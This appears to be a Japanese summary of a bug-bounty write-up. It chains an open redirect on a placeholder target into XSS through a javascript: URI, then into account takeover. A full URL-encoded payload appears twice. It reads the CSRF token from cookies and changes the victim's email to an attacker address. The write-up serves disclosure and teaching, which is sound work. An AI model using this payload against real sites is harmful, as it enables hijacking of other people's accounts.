Hello there, ('ω')ノ
XSSを使用したオープンリダイレクトのアカウントテイクオーバーへの連鎖を。
脆弱性:
オープンリダイレクト
XSS
アカウント乗っ取り
記事:
https://radianid.medium.com/chaining-open-redirect-with-xss-to-account-takeover-36acf218a6d5
今回は、XSSをアカウントテイクオーバーにエスカレートした方法を。
ターゲットはプライベートなので、target.comと呼ぶことに。
オープンリダイレクト:
ターゲットのテストを開始してアカウントを登録すると。
ownsubdomain.target.comのような独自のサブドメインを作成できたので。
次に、ダッシュボードにログインすることに。
その後、下記のようなURLエンドポイントを見つけたので。
https://ownsubdomain.target.com/overview/?ccpa_redirect=
下記のようにリダイレクトを開こうとすると。
evil.comページにリダイレクトされて。
https://ownsubdomain.target.com/overview/?ccpa_redirect=https://evil.com
次に、XSSペイロードjavascript:alert(1);を使用してブラウザで開くと。
XSSがポップアップして。
XSSをアカウントテイクオーバーへの連鎖:
その後、このXSSをより深刻な影響にアップグレードすることを考えていると。
下記のようなメールを変更できるフォームを見つけて。
ただ、CSRF-TOKEN保護があったので。
XSSを深刻な影響に連鎖させることについての記事を読んで。
下記の電子メールを変更するためのペイロードを作成して。
XSSの脆弱性を伴うCSRF-TOKEN保護をバイパスすることに。
javascript:var%20http=new%20XMLHttpRequest();
%20http.open(%27POST%27,%27https://ownsubdomain.target.com/api/3/settings/account%27,%20true);
var%20csrf=%20document.cookie.split(%27;%20%27).find(row%20=%253e%20row.startsWith(%27XSRF-TOKEN%27)).split(%27=%27)[1];
http.setRequestHeader(%27X-Xsrf-Token%27,csrf);
http.withCredentials=true;
http.setRequestHeader(%27Content-type%27,%27application/x-www-form-urlencoded%27);
http.send(%27firstName=Hacked%2526lastName=byHacker%2526loginEmail=attacker@mail.com%26phoneNumber=%2526notificationEmail=attacker@mail.com%2526signature=%2526timezone=Asia/Jakarta%2526language=english%27);
alert('email%20changed');
したがって、下記のURLにアクセスと。
https://ownsubdomain.target.com/overview/?ccpa_redirect=
javascript:var%20http=new%20XMLHttpRequest();
%20http.open(%27POST%27,%27https://subdomain.target.com/api/3/settings/account%27,%20true);
var%20csrf=%20document.cookie.split(%27;%20%27).find(row%20=%253e%20row.startsWith(%27XSRF-TOKEN%27)).split(%27=%27)[1];
http.setRequestHeader(%27X-Xsrf-Token%27,csrf);
http.withCredentials=true;
http.setRequestHeader(%27Content-type%27,%27application/x-www-form-urlencoded%27);
http.send(%27firstName=Hacked%2526lastName=byHacker%2526loginEmail=attacker@mail.com%26phoneNumber=%2526notificationEmail=attacker@mail.com%2526signature=%2526timezone=Asia/Jakarta%2526language=english%27);
alert('email%20changed');
ブラウザでは、アラートがポップアップ表示されて電子メールが変更されて。
アラートがポップアップして。
メールが正常に変更さて。
Best regards, (^^ゞ